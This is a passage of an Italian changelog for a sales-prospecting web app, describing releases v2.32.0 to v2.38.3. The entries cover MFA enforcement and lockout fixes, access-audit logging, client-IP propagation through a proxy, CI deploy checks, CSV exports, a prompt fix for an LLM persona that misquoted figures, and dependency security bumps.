invisibile. Backward compat: cache positiva e' invariata, nessuna chiamata aggiuntiva quando step 1 ha gia' trovato i canali. Impatto user: la detect su step 4 ora funziona anche dopo fallimenti transient di step 1; tutti i prospect con footer HTML valido vedono i checkbox auto-attivati e gli URL pre-compilati.

• v2.38.3: page-04-social.js::tryDetectSocials ~10 righe modificate. Zero modifiche backend / schema / endpoint / rate-limit. Cache-buster ?v=2.38.3 su 22 HTML auto via bump_version.py.

2026-06-25 — v2.38.2 proxy.php: propaga IP client al backend per audit accessi

Hotfix per la tab Certificazione accessi (v2.38.0). Problema: ogni evento activity_log.ip registrava 127.0.0.1. Inutile per audit GDPR/NIS2 perche' la normativa richiede la tracciabilita' dell'origine dell'accesso. Diagnosi: pipeline client → nginx SiteGround → Apache PHP-FPM → proxy.php → FastAPI 127.0.0.1:5049. proxy.php usa curl_init + CURLOPT_HTTPHEADER per inoltrare al backend, ma forwardava solo Content-Type, X-Auth-Token, Cookie. NON propagava l'IP del client. activity.py::_client_ip riceveva request.client.host = '127.0.0.1' (l'origine del PHP-FPM locale) e nessun XFF affidabile → ritornava sempre '127.0.0.1'. Fix: proxy.php calcola l'IP del visitatore via priority chain: (1) $_SERVER['HTTP_X_FORWARDED_FOR'] primo elemento se valido (filter_var(..., FILTER_VALIDATE_IP), settato da nginx SiteGround); (2) fallback $_SERVER['REMOTE_ADDR']. Lo inietta come header X-Forwarded-For: <ip> nella curl al backend. activity.py::_client_ip gia' aveva la logica corretta SEC-013 (2026-04-22): accetta XFF SOLO se request.client.host in TRUSTED_PROXIES = {127.0.0.1, ::1} — proxy.php chiama il backend da loopback quindi e' fidato. Sicurezza: l'IP injection dal client e' bloccata perche' anche se il client manda XFF arbitrario, proxy.php lo riscrive sempre con l'IP autoritativo lato server. Backward compat: gli eventi storici con ip='127.0.0.1' restano (non ricostruibili a posteriori). Solo gli eventi auth da v2.38.2 in poi avranno l'IP vero. Limiti noti: non corregge proxy_fastapi.php (usato per scopi marginali, da verificare se serve). Impatto user: zero per agenti. Superato da v2.45.0/v2.45.1: la priority chain descritta qui era spoofabile (nginx non accoda all'XFF, il primo elemento e' scritto dal client); proxy.php oggi ignora l'XFF in arrivo e usa REMOTE_ADDR.

• v2.38.2: proxy.php ~25 righe in piu' tra commento + priority chain. Zero modifiche backend / schema. Cache-buster ?v=2.38.2 su 22 HTML.

2026-06-25 — v2.38.1 Pipeline CI: restart BLOCCANTE + cross-check VERSION BE/FE

Hotfix infrastrutturale al workflow di deploy automatico. Gotcha emerso: durante il deploy di v2.38.0 (stessa giornata) i file statici sono stati serviti correttamente (VERSION=2.38.0) ma /api/admin/stats/agents non aveva ancora last_login_certified_at — uvicorn serviva codice vecchio. Diagnosi: la pipeline aveva 2 punti di restart, entrambi falliti senza errore visibile. (1) deploy_fastapi.py chiamava reload.php via SSH+curl localhost dopo SFTP; il return code era loggato come WARNING ma non era fatal. (2) Lo step "Post-SFTP" chiamava healthcheck.php per "ricaricare moduli"; ma healthcheck.php a riga 63 ha if ($code === 200) return: se uvicorn risponde a /api/status non fa nulla. Quindi se (1) fallisce silenziosamente o ricarica con codice incompleto, (2) e' un no-op e il CI dichiara "deploy ok" con codice vecchio. Fix: (a) deploy_fastapi.py +flag env SIH_DEPLOY_SKIP_RELOAD=1 per saltare il reload immediato (default behavior locale invariata); (b) workflow deploy.yml riscritto in 4 step espliciti: SFTP (skip reload), Post-SFTP (pip+migrate), Restart uvicorn (chiama reload.php BLOCCANTE, parsa JSON, fail CI se status != restarted/ok), Smoke. Cosi' il restart avviene una sola volta DOPO pip+migrate, garantendo che il nuovo uvicorn parta con dipendenze + schema aggiornati. (c) Smoke test esteso: oltre alle 4 pagine statiche, GET /VERSION (file) + GET /api/status (backend) e confronta. Mismatch = uvicorn ha codice vecchio = CI fail. (d) routers/system.py +_read_version_file() al boot del modulo, popola _BE_VERSION; /api/status espone version per il cross-check. Impatto user: nessuno. Tutti i deploy futuri sono coperti dal cross-check end-to-end.

• v2.38.1: routers/system.py +_BE_VERSION popolato da VERSION file al boot + chiave version in /api/status. deploy_fastapi.py +supporto SIH_DEPLOY_SKIP_RELOAD env. .github/workflows/deploy.yml riscritti 3 step (SFTP/Post-SFTP/Restart-uvicorn/Smoke-VERSION-cross-check). Cache-buster ?v=2.38.1 su 22 HTML.

2026-06-25 — v2.38.0 Certificazione accessi: audit autoritativo da activity_log (GDPR/NIS2)

Richiesta Giuseppe (audit compliance): «Quello che vedo come Ultimo login è certificato al 100%?». Diagnosi: no. La colonna agents.last_login_at usata in page-admin.js::renderAgents ha 2 falsi positivi noti: (a) routers/auth.py::authenticate a riga 242 fa flush + expunge dopo verifica password ma PRIMA della challenge MFA; se l'agente sbaglia il codice TOTP, last_login_at è già persisitito ma il login non è mai stato completato. (b) routers/auth.py::auth_password_reset a riga 170 aggiorna lo stesso campo al consumo del link reset. Sorgente autoritativa: tabella activity_log, action=login scritto solo a riga 137 di routers/auth.py dopo il superamento di password+MFA. Implementazione: (1) activity.py +costanti CERTIFIED_LOGIN_ACTION='login' e AUTH_ATTEMPT_ACTIONS (frozenset di 18 azioni auth: login, login_failed, login_mfa_*, login_blocked_inactive, login_rate_limited, logout, password_reset_consumed, mfa_*). (2) all_agents_summary() riscritto con 2 sweep aggregati pre-loop (group by agent_id) per ottenere last_login_certified_at e last_auth_attempt_at in 2 query SQL totali invece di N+1. (3) Nuovo endpoint GET /api/admin/access-certification in routers/admin.py con query params agent_id/from_date/to_date/outcome (all|success|failed)/limit/offset. Mappa _AUTH_ACTION_META 18 azioni → (esito, label IT user-friendly). Estrae email tentata da resource='email:...' per login_failed con agent_id=NULL. Risolve agent metadata in 1 sola query (no N+1). Ritorna retention_cutoff_at per il banner UI. (4) FE: page-admin.js +state accessCert, +loadAccessCert()/setAccessCertFilter()/renderAccessCert(p)/exportAccessCertCsv()/fmtDateTime()/_accCertOutcomeChip(). Tab nuova nel rail, dispatcher delegated +2 case (adm-accCertExport click + adm-accCertFilter change), auto-load su setTab('access_cert'). (5) renderAgents sostituisce la colonna ambigua «Ultimo login» con 2 colonne: Login certificato (cell tooltip esplicita: action='login' post-MFA) + Ultimo tentativo (mostra «= login» quando coincide per evitare duplicazione visiva). CSV agenti +2 colonne. Footer della tab Agenti +link alla nuova tab. Test: tests/test_admin.py +4 test (verifica solo eventi auth, filtro outcome success/failed, estrazione email da resource su login_failed, presenza dei 2 nuovi campi in /api/admin/stats/agents). 22/22 admin verde. Retention: 180gg (cron prune-activity-log.yml, già in vigore). Impatto user: zero per agenti commerciali. Solo admin.

• v2.38.0: activity.py +2 costanti +sweep aggregati, routers/admin.py +1 endpoint ~150 righe, page-admin.js +1 tab + 6 funzioni ~250 righe, tests/test_admin.py +4 test. Cache-buster ?v=2.38.0 su 22 HTML auto via bump_version.py. Zero modifiche schema.

2026-06-25 — v2.37.0 Storico Prospect: export Excel/CSV della lista filtrata (ticket #220)

Feature commerciale richiesta da agent_25 (Donatella Bastari) il 2026-06-09. Origine: ticket #220 «estrazione risultati di ricerca» — gli agenti vogliono portare fuori i prospect lavorati per cernita personalizzata in Excel/Sheets. Scope decision (Giuseppe): si esporta lo Storico Prospect (lead curati, già in pipeline) e NON i risultati grezzi di 01-ricerca-prospect.html (Google Places raw), per restare allineati alla filosofia «lead di qualità». Implementazione: tutto client-side, nessun nuovo endpoint. (1) dashboard.html +1 bottone id="btnExportCsv" data-action=dashboard-export-csv nel toolbar accanto agli altri filtri. (2) page-dashboard.js estratto helper _getFilteredProspects() dal corpo di render() (refactor zero-cost, stessi filtri stato/q/city); nuovo exportProspectsCsv() ~50 righe: header 16 colonne (Nome, Citta, Indirizzo, Categoria, Telefono, Sito web, Rating, Recensioni, Stato, Codice cliente, Origine, Step completati, Tag, Nota, Data analisi, Ultimo aggiornamento), CSV UTF-8 con BOM , separatore ; (locale italiano, Excel apre senza wizard), CRLF, quoting con doubling delle virgolette, filename storico-prospect-YYYYMMDD-HHMM.csv. Dispatcher delegated handler +1 case dashboard-export-csv. (3) Empty state: alert() se filtri attivi non producono risultati. Compat scoring: zero modifiche backend o DB. Cache-buster: ?v=2.37.0 su 22 HTML (auto via bump_version.py). Privacy/sicurezza: agente esporta solo i propri prospect (endpoint /api/prospects filtra già per owner_agent_id); admin che apre dashboard di terzi non vede questa pagina (admin usa admin.html). Tech debt: nessuno.

• v2.37.0: dashboard.html +1 bottone, page-dashboard.js +1 helper riusato + 1 export function + 1 handler delegated. Nessun nuovo endpoint. Cache-buster ?v=2.37.0 auto.

2026-06-24 — v2.36.9 Admin Agenti: selettore periodo + export CSV

Quality-of-life admin. Origine: Giuseppe segnala "le statistiche degli agenti sembrano resettate". Diagnosi: nessun reset reale. La tab Agenti calcolava i contatori solo sull'ultima finestra fissa di 30 giorni (activity.all_agents_summary, page-admin.js:660 label hardcoded "ultimi 30 giorni"), e con il passare del tempo il lavoro fatto a fine aprile/inizio maggio era uscito dalla finestra. Verifica su 365 giorni di activity_log: 0 eventi stats_reset mai eseguiti in produzione. Fix: (1) nuovo state state.agentsPeriodDays (default 30); (2) renderAgents aggiunge <select> data-action=adm-setAgentsPeriod con 4 valori (7/30/90/365) + bottone data-action=adm-exportAgentsCsv; (3) handler change rifetch /api/admin/stats/agents?period_days=N e ricalcola le colonne Ricerche / Scan LF / Proposte / Won / Conv.; (4) loadAll() passa lo stesso parametro al boot. Export: exportAgentsCsv() genera CSV lato client (no nuovo endpoint), header BOM UTF-8 (Excel apre con accenti corretti), filename agenti_<periodo>gg_<YYYY-MM-DD>.csv, 21 colonne (ID, Nome, Email, Ruolo, Stato, Ultimo login + 6 contatori azioni periodo + Eventi totali + Prospect totali + 5 stati prospect + Conv.%). Quoting RFC 4180 (virgola/virgolette/newline). Decisione design: le colonne Prospect restano il totale assoluto perché Prospect.owner_agent_id non ha un timestamp di "ingresso pipeline" comparabile alla finestra activity. Impatto user: solo admin. Nessun cambio per gli agenti.

• v2.36.9: page-admin.js +state agentsPeriodDays, +setAgentsPeriod(), +exportAgentsCsv(), renderAgents tool-bar con select + bottone CSV, dispatcher delegated +2 handler (adm-setAgentsPeriod su change, adm-exportAgentsCsv su click), loadAll() passa period_days. Nessuna modifica backend (riusa /api/admin/stats/agents esistente che gia' accettava period_days). Cache-buster ?v=2.36.9 su HTML auto via bump_version.py.

2026-06-20 — v2.36.8 Social Strategist anti cross-platform hallucination (ticket #221)

Bug-fix LLM. Reporter: agent_27 (Gianluca Serra) su 04-social.html, prospect PUSHantigallery. Sintomo: lo Stratega Social citava per Instagram EN 28,58% e per TikTok EN 28,58% mentre il rilevamento sopra mostrava IG 1,68% e TikTok 29,58%. Root cause: il payload BE inviato al persona social_strategist conteneva i numeri corretti per canale (verificato page-04-social.js:_socialBuildPayload) ma il modello, leggendo due piattaforme con lo stesso handle (@pushantigallery su IG e TikTok), trasferiva l'ER di TikTok su Instagram e arrotondava in modo impreciso (28,58 ≠ 29,58). Pattern di hallucination su numeri vicini quando l'identificatore di canale è identico. Fix: (1) ai_personas.py::_social_facts_block nuovo helper che pre-renderizza un blocco markdown deterministico FATTI VINCOLANTI per ogni canale con dati (followers intero + ER a 2 decimali virgola IT + post/sett + classification + handle); (2) SOCIAL_STRATEGIST.user_template inietta il blocco PRIMA del JSON raw e ricorda al modello "ogni numero deve combaciare con FATTI VINCOLANTI, niente cross-platform"; (3) nuova regola hard nel system prompt: "Mai trasferire un numero da una piattaforma all'altra, neanche quando due piattaforme hanno lo stesso handle/brand name. Non arrotondare l'engagement rate: cita il valore esatto presente nel JSON". Test: 3 nuovi test in tests/test_ai_personas_prompts.py verificano (a) il blocco FATTI emesso con ER esatto a 2 decimali virgola IT, (b) piattaforme con ok:false o assenti non compaiono nel blocco, (c) il system prompt contiene la regola anti cross-platform. 13/13 verdi. Impatto user: alla prossima generazione dello Stratega Social i numeri citati combaceranno con il rilevamento. Analisi cached pre-fix vanno rigenerate via "Rigenera".

• v2.36.8: ai_personas.py nuovo _social_facts_block(data) ~30 righe + iniezione in SOCIAL_STRATEGIST.user_template + regola anti cross-platform di 8 righe nel system. tests/test_ai_personas_prompts.py +3 test (~50 righe). Cache-buster ?v=2.36.8 su 22 HTML (auto via bump_version.py). Zero modifiche schema/migration/FE.

2026-06-16 — v2.36.7 DB session resilience: cleanup difensivo su connessioni MySQL morte (Sentry 3b46e4e0 + 4ba209e5)

Hotfix backend per due Sentry alert correlati arrivati lo stesso giorno (13:32 /api/auth/mfa/status + 14:15 /api/notifications/me). Root cause: MySQL di SiteGround chiude socket di connessioni rimaste idle nel pool SQLAlchemy. Quando il next request riusava una conn zombie partiva OperationalError (2013, 'Lost connection... Broken pipe'). Il context manager get_session entrava nel ramo except e chiamava sess.rollback() sulla stessa connessione morta, che sollevava un secondo InterfaceError (0, ''). Il finally: sess.close() ne sollevava un terzo. La catena __context__ diventava abbastanza profonda da far ricorsare il formatter di traceback di Python 3.14.5 (TracebackException(compact=True) in traceback.py:1059 → _extract_from_extended_frame_gen) → RecursionError mostrato nei Sentry events al posto dell'errore vero. Fix: db.py:get_session wrappa rollback() e close() in try/except, e su rollback fallito chiama sess.invalidate() per espellere la conn morta dal pool (pool_pre_ping=True intercetta solo i casi pre-checkout, qui la conn muore durante l'uso). Ora un'OperationalError 2013 emerge come 500 pulito, il prossimo poll di sih-topbar.js (ogni 30s) riusa il pool con una conn fresca via is_disconnect() SQLAlchemy. Impatto user: campanella notifiche e pannelli auto-refresh non mostreranno più errori transitori sporadici. Sentry riceve l'errore vero invece di un RecursionError opaco.

• v2.36.7: db.py:get_session (rilevante 11 righe): try/except esterno + try/except interno per sess.rollback() con fallback sess.invalidate() + try/except sul finally: sess.close(). Docstring estesa con riferimento ai due Sentry event ID. Cache-buster ?v=2.36.7 su 22 HTML (auto via bump_version.py).

2026-06-16 — v2.36.6 Security: bump cryptography 46→48.0.1 (GHSA-537c-gmf6-5ccf, OpenSSL static-link advisory)

Hotfix di sicurezza dependency-only. Trigger: la CI matrix test.yml Python 3.11+3.12 ha iniziato a marcare rosso stamattina su pip-audit. Finding: cryptography 46.0.7 vulnerabile a GHSA-537c-gmf6-5ccf — le wheel distribuite su PyPI imbarcano una copia statica di OpenSSL vulnerabile all'advisory OpenSSL 2026-06-09; fix in 48.0.1. Causa del blocco: il pin cryptography>=46,<47 fissato il 2026-05-26 per chiudere PYSEC-2026-35/36 + CVE-2026-26007 (famiglia 46.x) impediva pip di prendere la 48.x. Fix: range allargato a cryptography>=48.0.1,<49 in Prototipo/requirements_fastapi.txt + commento aggiornato. Impatto user: nullo. La libreria è usata server-side per Fernet (cifratura tabella secrets — DATA-002) e indirettamente da python-jose[cryptography] per la firma JWT HS256; ABI/API di entrambi gli usi invariate tra 46 e 48. Nessun logout forzato, nessuna re-cifratura. Smoke: pip-audit verde su matrix 3.11+3.12 post-deploy.

• v2.36.6: requirements_fastapi.txt: cryptography>=46,<47 → cryptography>=48.0.1,<49. Cache-buster ?v=2.36.6 su 22 HTML (auto via bump_version.py).

2026-06-15 — v2.36.0 GEO — Visibilità AI del prospect (Google AI Overviews)

Aggiunta la sezione GEO — Visibilità AI al passo 3 Web & SEO. Riattiva il client SE Ranking dormiente da 2026-04-20 ma con scope ridotto: solo engine ai-overview source it (gli altri 3 motori SE Ranking hanno dataset IT fermo a 2025-09-01 e quindi non utilizzabili). 4 KPI dall'endpoint /ai-search/overview: brand_presence, link_presence, average_position, ai_opportunity_traffic con delta vs periodo precedente quando disponibile. Verdetto narrativo automatico ("Invisibile" / "Citato senza link" / "Visibilità iniziale" / "Consolidata") in base ai valori current. Bottone on-demand "Vedi esempi di prompt" chiama /api/seo/ai-visibility/queries (default limit=10, costo provider 200 cr per prompt restituito). Cache 30 giorni (dataset mensile). Stato risposta non utilizzabile (available:false) con reason mappato: no_credits / auth_error / plan_not_entitled / not_found.

• v2.36.0: BE: routers/external.py sostituito short-circuit di seo_ai_visibility/seo_ai_visibility_queries con chiamate reali a SE Ranking (engine fisso ai-overview, source it). Costante _AI_ENGINE_SLUG al posto della vecchia map _AI_ENGINE_SLUGS. Pulita la funzione placeholder dormiente. FE: 03-web-seo.html nuova section #sectionGeo dopo opportunity. page-03-web-seo.js +seoGeo/seoGeoPrompts state, +loadGeoData()/renderGeo()/loadGeoPrompts(); hook in Phase 4 del main flow + cache restore + persistenza in proposalData.seo.geo. CACHE_VER 2→3. Test: tests/test_ai_visibility_details.py riscritto (5 test) + tests/test_seozoom_provider.py 1 test riallineato. Cache-buster ?v=2.36.0 su 22 HTML.

2026-06-14 — v2.34.0 Security Watch (vigilanza interna automatica) + chiusura 5 finding mini-audit

Integrazione operativa alla Policy di manutenzione e patching v1.0 consegnata all'IT lo stesso giorno. Attivato il sistema interno Security Watch: 4 controlli automatici cadenzati (weekly Dependabot SLA, monthly mini-audit di configurazione, quarterly report draft, annual audit reminder Venturini 2027-05) che trasformano gli SLA della policy in vigilanza continua. Architettura: GitHub Actions cron → SSH → manage.py security-watch <kind> → tabella security_watch_runs → tab Sicurezza in /admin.html. Visibile solo agli admin (no pagine pubbliche, no SMTP - notifiche on-dashboard). Primo seeding: il mini-audit ha trovato 5 non conformita' reali, chiuse stesso giorno: (1) 4 security header non raggiungevano il browser perche' proxy.php non li forwardava e gli HTML statici non passavano dal middleware FastAPI — risolto con Header always set in .htaccess (CSP/XFO/HSTS/XCTO + Referrer-Policy + Permissions-Policy, coerente con middleware FastAPI); (2) SIH_JWT_SECRET con prefisso placeholder change-me-in-prod- — ruotato con 64-hex random via secrets.token_hex(32), kick di tutti i JWT preesistenti. Re-run mini-audit: 8/8 OK. Dettagli architetturali e limiti dichiarati nella sezione Sicurezza.

• v2.34.0: BE: db.py +modello SecurityWatchRun (8 colonne); migrate.py +verify; nuovo router routers/security_watch.py (4 task handler + 3 endpoint admin /api/admin/security-watch/{latest,runs,ack}); manage.py +subcommand security-watch <kind>; server_fastapi.py +include_router(_security_watch_router). FE: nuova tab Sicurezza in admin.html; nuovo file page-admin-security-watch.js; page-admin.js +routing tab. CI/CD: 4 nuovi workflow .github/workflows/security-watch-*.yml. Hardening: .htaccess +6 Header always set (CSP/XFO/HSTS/XCTO/Referrer/Permissions); sih.env SIH_JWT_SECRET ruotato (backup sih.env.bak-2026-06-14). Cache-buster ?v=2.34.0 su 22 HTML.

2026-06-10 — v2.33.6 Fix lockout-loop force-MFA: il topbar disconnetteva anche dalla pagina di enroll

Bug-fix urgente segnalato da Giuseppe (Roberto Preda, agent_15, primo agente a scadere il grace MFA dopo il fix outage del 03/06). Sintomo: login OK ma disconnessione automatica dopo pochi secondi, in loop, e "il banner 2FA non si apre"; activity log con coppie login→logout a distanza di 1-12 secondi e mfa_enroll_started mai seguito da mfa_enrolled. Root cause: sih-topbar.js::forceMfaLogout (residuo del design v2.32.0, quando si pensava che il backend avrebbe chiesto l'enroll al login) a mfa_grace_expired mostrava il blocker "Accesso scaduto" e forzava POST /api/auth/logout dopo 8 secondi su ogni pagina inclusa user-dashboard #profilo — ma il login NON chiede l'enroll (l'enforcement reale è il 403 mfa_enrollment_required post-login di core.py::current_agent), quindi l'agente non aveva mai gli 8 secondi necessari a inquadrare il QR e confermare il TOTP. Riprodotto end-to-end con account di test grace-expired + Chromium headless. Impatto: al momento del fix 31 agenti attivi senza MFA avevano il grace già scaduto — intera rete vendita potenzialmente in lockout al primo login utile. Fix (solo FE): forceMfaLogout rimossa; nuova redirectMfaEnroll fa location.replace('/user-dashboard.html?force_mfa=1#profilo') (così page-user-dashboard.js auto-apre il modal enroll); se già sulla pagina di enroll con force_mfa=1 mostra solo il banner rosso (nuovo ramo daysLeft===-1 "termine scaduto, completa qui sotto") senza redirect né logout, evitando loop. Il bottone "Attiva ora" del banner ora punta a ?force_mfa=1#profilo. Enforcement server-side invariato.

• v2.33.6: sih-topbar.js — rimosso il logout forzato a grace scaduto (causava loop login→logout che impediva l'enroll); sostituito con redirect alla pagina di attivazione + banner dedicato. Cache-buster ?v=2.33.6 su 22 HTML.

2026-06-10 — v2.33.5 Dep hygiene: paramiko ≥5 chiude CVE-2026-44405 (#170)

Chiusura ticket #170 (admin, audit-trail Dependabot del 2026-05-15). Il trigger di riapertura previsto nel ticket si è verificato: paramiko 5.0.0 (PyPI 2026-05-09) è la prima release fuori dal range vulnerabile ≤4.0.0 di CVE-2026-44405 (GHSA-r374-rxx8-8654, firme RSA con SHA-1 in rsakey.py); GitHub ha già auto-marcato l'alert Dependabot #1 come fixed il 2026-05-28. Il pin in requirements_fastapi.txt però era paramiko>=4,<6 — ammetteva ancora la 4.0.0 vulnerabile, che era esattamente la versione installata nel container di deploy (la nota DEP-004 dell'audit Venturini diceva erroneamente "≥4 chiude la CVE": il range vulnerabile include la 4.0.0). Fix: pin a paramiko>=5,<6 + commento DEP-004 corretto + upgrade locale a 5.0.0. Smoke: i 3 script che importano paramiko (deploy.py, deploy_fastapi.py, remote_cmd.py) compilano e la connessione SSH+SFTP reale a SiteGround con chiave Ed25519 funziona con la 5.x. Nessun codice di prodotto toccato: paramiko gira solo nel flusso di deploy, mai sul server di produzione.

• v2.33.5: requirements_fastapi.txt pin paramiko>=5,<6 (era >=4,<6) + nota DEP-004 riallineata al range vulnerabile reale. Zero modifiche FE/BE. Ticket #170 chiuso.

2026-05-26 — v2.32.1 Manual website edit (#214) + Reset preventivo (#216)

Due ticket non-admin chiusi insieme dopo approvazione esplicita. #214 (Sergio, bug/alta) sito non rilevato: Google Places non espone websiteUri se il cliente non l'ha registrato sul suo GBP. Soluzione: permettere all'agente di inserirlo manualmente. routers/prospects.py::prospect_update ora accetta campo website nel body PATCH: validazione max 500 char + schema https:// auto-aggiunto se manca prefix + reject schemi non-http (javascript:, data:). Log prospect_website_manual_set in ActivityLog per audit. FE page-02-visibilita-locale.js: bottone "+ Aggiungi sito" (classe .bc-add-btn viola) accanto a "Nessun sito" + icona matita (.bc-edit-btn) accanto a sito esistente. Modal inline (no dipendenze CSS), input URL + 3 azioni (Salva/Annulla + Rimuovi se esistente). Post-save: aggiorna localStorage.sih_proposal_data.business.website + location.reload() per riallineare re-render strip + re-trigger scoring/SEO. #216 (Tommaso, ux/alta) tasto azzera preventivo: nuovo bottone fullcatResetSelection nella toolbar di fullcatSection step 6 (CSS classe .fullcat-reset-btn rossa #B91C1C). Handler in page-06-diagnosi-proposta.js: confirm() con conteggio sigle prima di azzerare; selectedProducts.clear() + editedProducts.clear() + de-seleziona checkbox in #productCatalog + #fullcatList + rimuove .selected da tier-card + ri-renderizza investment+printSummary+paintFullCatalog. Toast verde inline (helper _dp_toastReset) con conferma N rimossi. Test: test_auth_prospects.py +2 test (patch_website_manual_add con auto-schema https://, patch_website_rejects_too_long). 2/2 verde.

• v2.33.4: bug-fix #219 (Tommaso, bug/media) — scan Local Falcon mostrava la keyword sbagliata. Sintomo: l'agente cambia keyword prima di rilanciare lo scan, clicca "Riprova caricamento" / "Ricarica ora" prima che il nuovo report sia pronto, e vede i risultati della keyword precedente etichettati con quella nuova. Root cause: page-02-visibilita-locale.js::vl_retryLoadReport caricava ciecamente reports[0] dalla lista /api/lf/reports senza validare la keyword — e il filtro keyword della LF API e' inaffidabile (case-sensitive, a volte ignorato), quindi reports[0] poteva essere il report vecchio (lo scan nuovo richiede 30-120s). Contributo secondario: il blocco di successo in vl_startScan + vl_loadReport forzava keyword: keyword || report.keyword, rietichettando un eventuale report errato con la keyword digitata. Fix: (a) vl_retryLoadReport ora filtra i report lato client su keyword normalizzata (.trim().toLowerCase(), stesso pattern di vl_findFreshSameKeywordReport) e prende il piu' recente che combacia; se nessuno combacia resta in stato pending invece di caricare il report sbagliato; (b) labeling invertito a keyword: report.keyword || keyword in vl_startScan e vl_loadReport — ground truth dal report LF. Solo FE, cache-buster ?v=2.33.4.
• v2.33.3: hotfix outage force-MFA (03/06). Sintomo: gli agenti senza 2FA, scaduta la grace (impostata a NOW+7d dal deploy v2.32.0 del 26/05 → scadenza 02/06 16:25, lockout dal pomeriggio del 02/06), non riuscivano a loggarsi né ad attivare la 2FA, e non avevano visto il banner. Root cause #1 (lockout senza via d'uscita): core.py::current_agent ritorna 403 con header X-MFA-Enrollment-Required: 1, ma proxy.php inoltra solo una whitelist di header di risposta (Content-Type, Content-Disposition, Access-Control-*, Set-Cookie, Vary) e scartava quell'header → auth-guard.js, che keya il redirect all'enroll solo sull'header, non scattava mai. L'agente entra (login non controlla grace) ma ogni endpoint operativo dà 403 nudo senza redirect alla pagina di attivazione. Causa reale (emersa allo smoke post-deploy 2.33.2): non era solo il proxy. Il global exception handler server_fastapi.py::http_exception_handler rimappa ogni HTTPException in JSONResponse(content={'error': exc.detail}) senza propagare exc.headers → l'header veniva scartato gia' a livello app (uvicorn non lo emetteva, quindi la whitelist proxy da sola era inutile) e il body usa chiave error, non detail. Fix (v2.33.3): (a) http_exception_handler passa headers=getattr(exc, 'headers', None); (b) auth-guard.js rileva il blocco dal body clonato con (j.error || j.detail) == 'mfa_enrollment_required'; (c) proxy.php aggiunge X-MFA-Enrollment-Required: alla whitelist (ora utile). Root cause #2 (banner assente + enroll 501): mfa.is_grace_expired bloccava anche con modulo MFA non disponibile (pyotp non importabile dal processo uvicorn nei primi giorni post-26/05) → countdown scadeva ma niente banner (status.available=false) né enroll (501). Fix: is_grace_expired ritorna False se not is_mfa_available() — un deploy che non sa fare MFA non locka fuori nessuno. Recovery dati: reset mfa_grace_until = NOW+7d per i ~35 agenti scaduti (UPDATE SQL diretto). Test: test_security_audit_tier3_mfa.py +1 (test_grace_expired_not_enforced_when_mfa_unavailable, monkeypatch is_mfa_available→False). 21/21 verde.
• v2.32.2: hotfix login MFA. page-login.js::showMfaPrompt usava document.getElementById('email').closest('.form-row, label, div') || parentNode per nascondere la "riga" del campo durante il challenge TOTP, ma login.html ha input "nudi" (figli diretti del <form>, niente wrapper .form-row): closest() tornava null e il fallback parentNode era il <form> intero → display:none faceva sparire l'intera card di login (box MFA incluso, inserito proprio in quel form). Fix: nuovo helper _fieldEls(id) raccoglie input + relativa label[for=id] e li nasconde/ripristina puntualmente (variabile _credFields), mai il parentNode/form. Solo FE; cache-buster ?v=2.32.2 su login.html obbligatorio (il browser aveva in cache il JS buggato a ?v=2.32.1). Bug introdotto in v2.31.0 (AUTH-001 MFA), emerso in produzione col force-MFA di v2.32.0.
• v2.32.1: BE routers/prospects.py::prospect_update accetta field website con validazione (~22 righe) + audit log. FE page-02-visibilita-locale.js +vl_openWebsiteEditModal + bottone wire (~70 righe). 02-visibilita-locale.html +CSS .bc-edit-btn/.bc-add-btn. page-06-diagnosi-proposta.js +reset handler (~35 righe) + helper _dp_toastReset. 06-diagnosi-proposta.html +bottone #fullcatResetSelection + CSS .fullcat-reset-btn. Test +2.

2026-05-26 — v2.32.0 Force MFA 7gg + Backup codes + Auto-deploy

4 cambi in unica release dopo richiesta Giuseppe. (1) Auto pip-install + auto-migrate in deploy: nuovo step "Post-SFTP - sync pip deps + run migrations" in deploy.yml che, via paramiko SSH dopo SFTP, esegue (a) python3 -m pip install --user --upgrade -r requirements_fastapi.txt idempotente, (b) source /home/customer/sih.env; python3 migrate.py idempotente, (c) trigger healthcheck.php per restart pulito. Chiude la classe di problemi che ha causato l'outage 14:45-15:18 (mfa.py mancante + colonne MFA non aggiunte). (2) Backup codes MFA: mfa.py::generate_backup_codes(n=8) + hash_backup_codes (bcrypt rounds=10, salvati come JSON list) + verify_backup_code (consuma + ritorna nuovo JSON) + verify_code_or_backup (TOTP-first/backup-fallback). Schema agents +mfa_backup_codes TEXT. Generati 8 codici al verify-enroll, mostrati nel body response una volta sola. Login challenge accetta sia TOTP sia backup code (consumato). Nuovo endpoint POST /api/auth/mfa/backup-codes/regenerate richiede password+code. UI: post-verify-enroll modal mostra 8 codici con bottoni Copia/Scarica/Done; nella card MFA contatore "rimasti N/8" + link "Rigenera". (3) Force MFA grace 7gg: schema agents +mfa_grace_until DATETIME. migrate.py popola con NOW+7d per agenti esistenti con mfa_enabled=False AND mfa_grace_until IS NULL idempotente. mfa.py::is_grace_expired(agent). core.py::current_agent raise HTTPException(403, detail='mfa_enrollment_required', headers={'X-MFA-Enrollment-Required': '1'}). Nuovo helper current_agent_allow_enroll per endpoint MFA + /me + /logout (vie d'uscita). auth.py::auth_mfa_status esposto mfa_grace_until, mfa_grace_expired, mfa_days_left_to_enroll, mfa_backup_codes_remaining. UI banner rosso countdown: sih-topbar.js::startMfaBanner chiama /mfa/status ogni 30s, mostra banner sticky #DC2626 con countdown e bottone "Attiva ora". Allo scadere: modale bloccante "Accesso scaduto" + auto-logout entro 8s + redirect a login. Handler 403: auth-guard.js::window.fetch intercetta status 403 con header X-MFA-Enrollment-Required: 1 e redirige a /user-dashboard.html?force_mfa=1#profilo. page-user-dashboard.js auto-apre modal enroll quando query force_mfa=1. (4) Hotfix QR-code croppato: mfa.py::qr_svg post-processa SVG generato da segno per iniettare viewBox="0 0 W H" preserveAspectRatio="xMidYMid meet" mancante — senza viewBox il CSS lato FE croppa invece di scalare. Cambiato dark='#000000' (era viola #7C3AED che alcune app authenticator non scansionano) + border=4 (era 2) + scale=6 (era 5). Test: test_security_audit_tier3_mfa.py +7 test (verify-enroll-returns-backup, login-with-backup-consumes, status-exposes-remaining, regenerate, grace-expired-blocks, grace-allows-mfa-enroll, grace-with-mfa-enabled-passes). Totale: 20/20 verde.

